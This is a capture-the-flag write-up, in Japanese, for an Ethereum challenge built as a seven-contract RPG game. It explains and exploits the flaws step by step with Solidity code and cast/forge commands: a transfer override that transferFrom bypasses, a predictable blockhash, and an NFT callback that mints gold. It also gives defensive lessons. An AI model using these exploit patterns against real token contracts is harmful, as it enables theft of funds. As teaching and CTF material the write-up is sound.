Appearance
S2C12: Conquer The Game (RPG Multi-Contract)
1. 問題
これは Season 2 の最終ボスです — 7 つのコントラクトで構成される RPG ゲームシステムです。プレイヤーは「ゲームを征服」して mintFlag の複雑な検証チェーンを満たす必要があります:
| コントラクト | OP Mainnet アドレス | 機能 |
|---|---|---|
| Main (Challenge) | 0xac22A9b80bf87Cdb1f95efEb3F2A504f5039BE9d | メインチャレンジ、mintFlag を含む |
| HeroNFT | 0x792ad60632A1A63DaDb14fEa9AC3c7FB944406C6 | ERC-721 ヒーロー NFT、カスタム URI 可能 |
| GoldToken | 0x84710c7E262B09fa3aAF97F2741E7CE6Fb11A54b | ERC-20 ゴールド、transfer に特別な制限あり |
| Inventory | 0x5f90e8c1205C448b81Ca57cffdca39bc3b0B35f4 | インベントリシステム、owner (Main) のみ変更可能 |
| Quest | 0xc555ce58bAD74a2E0CD289aE23225a80bf47e7e3 | クエスト追跡 |
| Dungeon | 0xd1A85e9e62387E8A4Ccb9baBab0Cd97d9E76B7de | ダンジョン位置、Quest と連動 |
| Victory | 0x84503496E6ED4F68E84E4Ba6B4Fc5A4d4A4145d3 | 勝利条件 |
2. 原因
コントラクトシステムには以下の重要な脆弱性が存在します:
2.1 GoldToken の transfer 制限は transferFrom でバイパス可能
solidity
// GoldToken.transfer — HeroNFT と Dungeon のチェックあり
function transfer(address to, uint256 amount) public override returns (bool) {
require(hero.balanceOf(msg.sender) > 0, "Insufficient NFT balance");
require(hero.balanceOf(msg.sender) < dungeon.dungeon(tx.origin), "Wrong NFT balance");
_transfer(msg.sender, to, amount);
return true;
}
// GoldToken.transferFrom — ERC20 から継承、制限なし!
// 直接呼び出してすべての transfer チェックをバイパス可能
重要な洞察:transfer のオーバーライドは transferFrom を自動的には保護しません。これは OZ ERC-20 継承における一般的な落とし穴です。
2.2 GoldToken 取得メカニズム(onERC721Received コールバック)
S2 NFTFlags コントラクトの onERC721Received 関数は、特定の NFT を受け取ったときに GoldToken をミントします:
solidity
function onERC721Received(address, address from, uint256 tokenId, bytes calldata data)
external override returns (bytes4)
{
uint256 anotherTokenId = _toUint256(data); // ← data から別の tokenId をデコード
require(msg.sender == address(this)); // NFTFlags 自身のみ呼び出し可能
require(ownerOf(anotherTokenId) == from); // from が S2C2 token を所有している必要あり
require(tokenIdToChallengeId[anotherTokenId] == 2); // token が S2C2 であることを検証
require(!tokensClaimed[tokenId]); // キャリア token が未クレーム
safeTransferFrom(address(this), from, tokenId); // キャリア token を返却
tokensClaimed[tokenId] = true;
GoldContract(goldTokenAddress).mint(from); // 1000e18 GoldToken をミント!
}
デュアル Token メカニズム:
tokenId(キャリア): NFTFlags に転送されてから返却される。送信者が所有する任意の S2 NFT である必要があるanotherTokenId(検証): data パラメータからデコードされる。S2C2 token (challengeId == 2) であり、fromアドレスが所有している必要があるが、転送はされない
2.3 mintFlag 検証チェーン分析
solidity
function mintFlag(uint256 tokenId) public winner rich {
// 1. 呼び出し元からチャレンジコントラクトへ 1e18 GoldToken を引き出す
gold.transferFrom(msg.sender, address(this), 1 ether);
// 2. HeroNFT URI からインベントリ値をパース
uint256 inventoryValue = stringToUint(hero.tokenURI(tokenId));
inventory.setValue(inventoryValue); // inventory[tx.origin] に書き込み
// 3. ハッシュを計算
bytes32 hash = keccak256(abi.encodePacked(
blockhash(block.number - 1), // 1 つ前のブロックハッシュ(トランザクション内で予測可能)
address(this), // チャレンジコントラクトアドレス
inventory.inventory(tx.origin) // インベントリ値
));
// 4-8. 複数チェック
require(gold.balanceOf(msg.sender) == uint256(hash) % 100 ether); // 残高 = H
require(balance == dungeon.getCurrentPosition()); // 残高 = quest×dungeon
require(gold.balanceOf(tx.origin) == gold.balanceOf(~tx.origin)); // 敵味方の残高が等しい
require(gold.allowance(msg.sender, this) == inventory.inventory(tx.origin)); // allowance=インベントリ
nftContract.mint(tx.origin, 12); // flag をミント!
}
stringToUint ロジック:
solidity
function stringToUint(string memory _s) public pure returns (uint256) {
bytes memory b = bytes(_s);
uint256 res = 0;
for (uint256 i = 0; i < b.length; i++) {
if (b[i] >= 0x30 && b[i] <= 0x39) {
res = res * 10 + (uint256(uint8(b[i])) - 0x35); // 数字文字 → 数値
} else {
return 0; // 非数字は直接 0 を返す
}
}
return res;
}
文字 '5' = 0x35 → 0x35 - 0x35 = 0。そのため URI が "5" の場合 inventoryValue = 0 となります。
2.4 完全な解決策アーキテクチャ
NEW_WALLET ORIGINAL_WALLET S2C12_SOLUTION
| | |
S1C1 ──→ | | |
S2C2 ──→ | (S2C2 token を取得) | |
| | |
safeTransferFrom ─→ GoldToken mint 1000e18 |
| | |
approve(Solution, max) ──────────|──────────────────→ |
| | solve(NEW_WALLET) |
| |──────────────────→ |
| | transferFrom(NEW → Solution)
| | mint HeroNFT("5")
| | fund complement(~ORIGINAL)
| | fund ORIGINAL
| | burn excess
| | dungeon/quest/victory setup
| | approve(challenge, 1e18)
| | challenge.mintFlag() ──→ 🏆
3. 解決策
Step 1: GoldToken を取得する(S2C2 token が必要)
solidity
// 1. S2C2 token (challengeId == 2) を所有していることを確認
// 2. キャリア token (任意の他の S2 NFT) が必要
// 3. safeTransferFrom を呼び出し、キャリア token を NFTFlags に送信、data に S2C2 tokenId をエンコード
// キャリア token は返却され、S2C2 token は検証のみで転送されない
NFTFlags.safeTransferFrom(
myAddress, // from — S2C2 token を所有している必要あり
NFTFlags, // to — NFTFlags 自身(onERC721Received をトリガー)
carrierTokenId, // キャリア token(任意の S2 NFT)
abi.encode(s2c2TokenId) // data = S2C2 tokenId
);
// → GoldToken mint 1000e18 が from アドレスに
Step 2: 数値を設定しターゲット残高を計算
solidity
// 2a. HeroNFT をミント、URI = "5"(inventoryValue = 0 にする)
uint256 heroTokenId = hero.mint("5");
// 2b. ターゲット残高 H を計算
bytes32 hash = keccak256(abi.encodePacked(
blockhash(block.number - 1), // 1 つ前のブロックハッシュ
address(challenge), // チャレンジアドレス
uint256(0) // inventoryValue = 0
));
uint256 H = uint256(hash) % 100 ether;
Step 3: GoldToken 残高を操作
solidity
// transferFrom を使用して transfer 制限をバイパス
gold.approve(address(this), type(uint256).max); // 自己承認
gold.transferFrom(goldSource, address(this), H + 1 ether + 2 ether); // 引き出し
// 残高を分配
gold.transferFrom(address(this), address(~bytes20(tx.origin)), 1 ether); // 敵
gold.transferFrom(address(this), tx.origin, 1 ether); // プレイヤー
// 残高を正確に H にする
uint256 currentBalance = gold.balanceOf(address(this));
if (currentBalance > H + 1 ether) {
gold.burn(currentBalance - H - 1 ether);
}
Step 4: ゲーム状態を設定して実行
solidity
// 勝利条件
dungeon.setPosition(bytes32(uint256(1))); // 非ゼロ値を設定
victory.free(true); // 勝利をマーク
// ダンジョン位置 = 残高 = H(balance == quest × dungeon を満たすため)
quest.setCurrentQuest(1);
dungeon.setPosition(bytes32(H));
// challenge に 1 ether の消費を承認(消費後の残り allowance = 0 = inventoryValue)
gold.approve(address(challenge), 1 ether);
// 実行!
challenge.mintFlag(heroTokenId);
4. 遭遇した落とし穴
落とし穴 4.1: onERC721Received の tokenId と anotherTokenId の混同
現象: S2C2 token をキャリア token として使用すると、トランザクションが "Not owner!" で revert します。
根本原因: 関数の tokenId/anotherTokenId の役割に対する理解の誤り。tokenId(キャリア)は _safeTransfer によって最初に転送されるため、ownerOf(tokenId) が新しい所有者に変わります。一方 anotherTokenId(data からデコード)は転送されず、検証のみに使用されます。
誤った理解:anotherTokenId == tokenId(同じ token が 2 つの役割を果たす)
正しい理解:anotherTokenId (検証) ≠ tokenId (キャリア)
落とし穴 4.2: S2C2 token が NFTFlags に誤って転送される
現象: 実験中に transferFrom を使用して S2C2 token を NFTFlags に転送した後、GoldToken ミントをトリガーできなくなります。
誤った操作:
bash
# 誤り!S2C2 token を NFTFlags に転送
cast send $NFT_FLAGS "transferFrom(address,address,uint256)" \
$EOA $NFT_FLAGS 94 # Token 94 = S2C2 token
結果:
- Token 94 が NFTFlags の所有となり、元の EOA の所有ではなくなる
ownerOf(94)= NFTFlags、from(EOA) と等しくない- onERC721Received のチェック
ownerOf(anotherTokenId) == fromが常に失敗 - この EOA を使用して GoldToken ミントをトリガーできない
落とし穴 4.3: GoldToken transfer 制限
現象: gold.transfer() を直接使用して解決用コントラクトに転送すると "Insufficient NFT balance" で revert します。
原因: GoldToken は transfer をオーバーライドし、呼び出し元が HeroNFT を保有し、かつ残高が dungeon 値未満であることを要求します。
落とし穴 4.4: transferFrom に自己承認が必要
現象: gold.transferFrom(address(this), target, amount) が ERC20InsufficientAllowance で revert します。
原因: ERC-20 の transferFrom は from アドレスが msg.sender(呼び出し元)を承認していることを要求します。
落とし穴 4.5: 新しいウォレットに S1C1 登録が必要
現象: 新しいウォレットから S2C2 を呼び出すと "User address is not registered in Season 1" で revert します。
原因: S2 NFTFlags の mint 関数は hasMinted[recipient][1](S1C1 登録状態)をチェックします。
落とし穴 4.6: forge create --broadcast が OP で失敗
S2C7 と同じ forge のバグ — コントラクトのデプロイには forge script を使用する必要があります。
5. 落とし穴の原因
原因 5.1: ERC-721 _safeTransfer の呼び出し順序
OpenZeppelin ERC-721 の _safeTransfer 実装:
solidity
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory data) internal virtual {
_transfer(from, to, tokenId); // ① 最初に転送!
_checkOnERC721Received(from, to, tokenId, data); // ② その後コールバック
}
転送はコールバックの前に発生します。onERC721Received が実行される時点で、tokenId(キャリア)の所有者はすでに to(NFTFlags)に更新されています。しかし anotherTokenId(data からデコードされた検証用 token)はこの影響を受けません。
原因 5.2: transferFrom がオーバーライドされていない
Solidity の継承では、transfer のオーバーライドは transferFrom に影響しません:
solidity
// GoldToken は transfer のみをオーバーライド
function transfer(address to, uint256 amount) public override returns (bool) {
// ... カスタムチェック ...
}
// transferFrom は ERC20._transfer から継承、制限なし
// function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
// _spendAllowance(from, msg.sender, amount);
// _transfer(from, to, amount); // 内部 _transfer を直接呼び出し、transfer のオーバーライドをバイパス
// }
核心的な教訓:OZ 5.x では transfer ではなく _update をオーバーライドし、すべての token 移動パスをカバーすべきです。
原因 5.3: クロスコントラクト状態依存
mintFlag の 10 個のチェックは 6 つの異なるコントラクトにまたがり、いずれかのパラメータ計算を誤ると全体がロールバックします。
原因 5.4: blockhash の予測可能性
blockhash(block.number - 1) はトランザクション実行時に既知で決定論的です。一見「ランダム」に見えますが、同一トランザクション内では計算可能であり、安全なランダムソースとして使用できません。
原因 5.5: onERC721Received の msg.sender チェック
NFTFlags の onERC721Received は msg.sender == address(this) を要求します。これは以下の場合にのみ成立します:
- ERC-721 の
safeTransferFromがtoを NFTFlags 自身に設定 - ERC-721 内部で
msg.sender= NFTFlags としてIERC721Receiver(to).onERC721Receivedを呼び出し
直接の外部呼び出しはすべて失敗します。この場合 msg.sender は NFTFlags ではなく呼び出し元になるためです。
6. 解決方法
解決 6.1: 異なる token をキャリアと検証に使用
正しいフロー:
1 つの S2C2 token (metadata=2) → 検証のみ(anotherTokenId)、転送されない
1 つの任意の S2 NFT → キャリア(tokenId)、NFTFlags とユーザー間を往復
bash
# token 104 (S2C2) を検証用、token 95 をキャリア用に使用
cast send $NFT_FLAGS \
$(cast calldata "safeTransferFrom(address,address,uint256,bytes)" \
$MY_ADDRESS $NFT_FLAGS 95 $(cast abi-encode "f(uint256)" 104))
解決 6.2: S2C2 token を失った後の再取得
S2C2 token が NFTFlags に転送された後は取り戻せないため、以下が必要です:
- 新しいウォレットを作成
- 新しいウォレットで S1C1 登録を完了
- 新しいウォレットで S2C2 を完了(新しい S2C2 token を取得)
- キャリア token を新しいウォレットに転送
- 新しいウォレットで GoldToken ミントをトリガー
- 新しいウォレットが解決用コントラクトを approve
- 元のウォレットが解決用コントラクトを呼び出し(tx.origin = 元のウォレット、flag ミントは元のウォレットに)
解決 6.3: transfer の代わりに transferFrom を使用
solidity
// 誤り:transfer の制限を受ける
gold.transfer(recipient, amount);
// 正しい:自己承認 + transferFrom でバイパス
gold.approve(address(this), type(uint256).max);
gold.transferFrom(address(this), recipient, amount);
解決 6.4: 自己承認の標準パターン
solidity
// コンストラクタまたは初期化時に自己承認
function solve(address goldSource) external {
// 最初に自己承認が必須
gold.approve(address(this), type(uint256).max);
// その後 transferFrom を使用可能
gold.transferFrom(goldSource, address(this), amount);
gold.transferFrom(address(this), enemy, amount);
}
解決 6.5: 新しいウォレットの登録
bash
# 最初に S1C1 登録を完了する必要がある
cast send $S1C1 "registerMe(string)" "name" --private-key $NEW_PK
# その後 S2C2 を完了可能
cast send $S2C2 "mintFlag(bytes32)" $KEY --private-key $NEW_PK
解決 6.6: forge script を使用
bash
forge script script/S2C12Deploy.s.sol:S2C12DeployScript \
--rpc-url $RPC --private-key $PK --broadcast
7. 技術的ポイント
7.1 Solidity / EVM
| ポイント | 詳細説明 |
|---|---|
| ERC-20 transfer vs transferFrom | transfer のオーバーライドは transferFrom を保護しません。OZ 5.x では _update をオーバーライドすべきです |
| blockhash の予測可能性 | blockhash(block.number - 1) はトランザクション内で決定論的な値であり、「ランダム」ソースとしての攻撃ベクトルになり得ます |
| stringToUint エンコード | 文字から 0x35 を引く → '5'→0、この特性を利用して inventoryValue=0 に設定し計算を簡略化 |
| 自己承認パターン | erc20.approve(address(this), max) + transferFrom(address(this), ...) は transfer 制限をバイパスする標準技術 |
| onlyOwner プロキシ | Inventory の setValue は onlyOwner ですが、owner は Main コントラクト — Main は mintFlag を通じて間接的に inventory に書き込みます |
7.2 クロスコントラクトインタラクション
| ポイント | 詳細説明 |
|---|---|
| マルチコントラクト RPG システム | 7 つのコントラクトが協調し、状態が複数アドレスに分散、アトミックな操作が必要 |
| onERC721Received コールバック | ERC-721 の safeTransferFrom がコールバックをトリガー、msg.sender = ERC-721 コントラクト自身 |
| CREATE2 コンセプト | address(~bytes20(tx.origin)) は tx.origin のビット反転アドレス |
| Victory.winner 依存 | dungeon[tx.origin] > 0 の場合のみ true を返す — 最初に dungeon を設定する必要あり |
| Dungeon.getCurrentPosition | = quest[tx.origin] × dungeon[tx.origin] — 2 つのコントラクトの連動 |
7.3 GoldToken 取得フロー完全解説
前提条件:
├─ 1 つの S2C2 token (challengeId=2、検証のみで転送されない)
└─ 1 つのキャリア token (任意の S2 NFT、往復転送用)
実行フロー:
1. safeTransferFrom(sender, NFTFlags, carrierId, abi.encode(s2c2Id))
├─ ERC-721: _transfer(sender, NFTFlags, carrierId) [キャリア → NFTFlags]
└─ ERC-721: _checkOnERC721Received → NFTFlags.onERC721Received()
├─ anotherTokenId = decode(data) = s2c2Id
├─ msg.sender == address(this) ✓ (NFTFlags 自己呼び出し)
├─ ownerOf(s2c2Id) == from ✓ (S2C2 token は転送されていない)
├─ tokenIdToChallengeId[s2c2Id] == 2 ✓
├─ !tokensClaimed[carrierId] ✓
├─ safeTransferFrom(NFTFlags, sender, carrierId) [キャリア → 返却]
├─ tokensClaimed[carrierId] = true
└─ GoldToken.mint(sender) → 1000 × 10^18 GoldToken!
7.4 mintFlag 完全検証チェーン
modifier winner():
└─ Victory.winner() → dungeon[tx.origin] > 0 && victory[tx.origin]
modifier rich():
└─ GoldToken.balanceOf(~tx.origin) >= 1e18
mintFlag(tokenId):
① transferFrom(msg.sender → this, 1e18)
② inventoryValue = stringToUint(heroNFT.tokenURI(tokenId))
③ inventory.setValue(inventoryValue) → inventory[tx.origin]
④ hash = keccak256(blockhash(block.number-1), this, inventory[tx.origin])
⑤ balance == hash % 100e18
⑥ balance == dungeon.getCurrentPosition() (= quest × dungeon)
⑦ balanceOf(tx.origin) == balanceOf(~tx.origin)
⑧ allowance(msg.sender, this) == inventory[tx.origin]
→ nftContract.mint(tx.origin, 12) 🏆
7.5 コントラクト間依存関係図
┌──────────┐
│ NFTFlags │ (S2 NFT 管理)
└────┬─────┘
│ mint()
┌──────────────┼──────────────┐
│ │ │
┌────▼─────┐ ┌────▼─────┐ ┌─────▼──────┐
│ Main C12 │ │ HeroNFT │ │ GoldToken │
│ (チャレンジ主)│ │ (ERC721) │ │ (ERC20) │
└──┬──┬──┬─┘ └──────────┘ └──┬──┬──┬──┘
│ │ │ │ │ │
┌────▼┐ │ └──────────────┐ │ │ │
│Inv. │ │ │ │ │ │
└─────┘ │ ┌────▼────┐ ┌─▼─────┐│ │ │
│ │ Quest │ │Dungeon││ │ │
│ └────────┘ └──┬────┘│ │ │
│ │ │ │ │
│ ┌────▼─────┴──┘ │
│ │ Victory │
│ └───────────────┘
│
┌────▼─────┐
│ S2C12 Flag│
│ (token 105)│
└──────────┘
7.6 コアコードの場所
- 解決用コントラクト:
solutions/season2/Challenge12Solution.sol - デプロイスクリプト:
script/S2C12Deploy.s.sol - 参考ソースコード: ByteAtATime/bg-ctf
src/season2/Season2Challenge12.sol - NFTFlags ソースコード: ByteAtATime/bg-ctf
src/season2/Season2NFTFlags.sol - GoldToken 取得トランザクション:
0x812d16346b465996a26427a629ce8c2069830bc3fac4940f5d1b206cb8762cda - S2C12 完了トランザクション:
0x9a3bfd2aa2d1597d36e1518087fe62b94148837f47cd2992de72a25e8fbef237 - Flag Token ID:
0x69(105)
一言まとめ: ERC-20 の
transferオーバーライドはtransferFromを保護せず、GoldToken は NFT コールバックメカニズムを通じて取得し、予測可能な blockhash を使用して正確な残高を計算し、単一のトランザクションで 10 個の分散チェックをアトミックに満たします。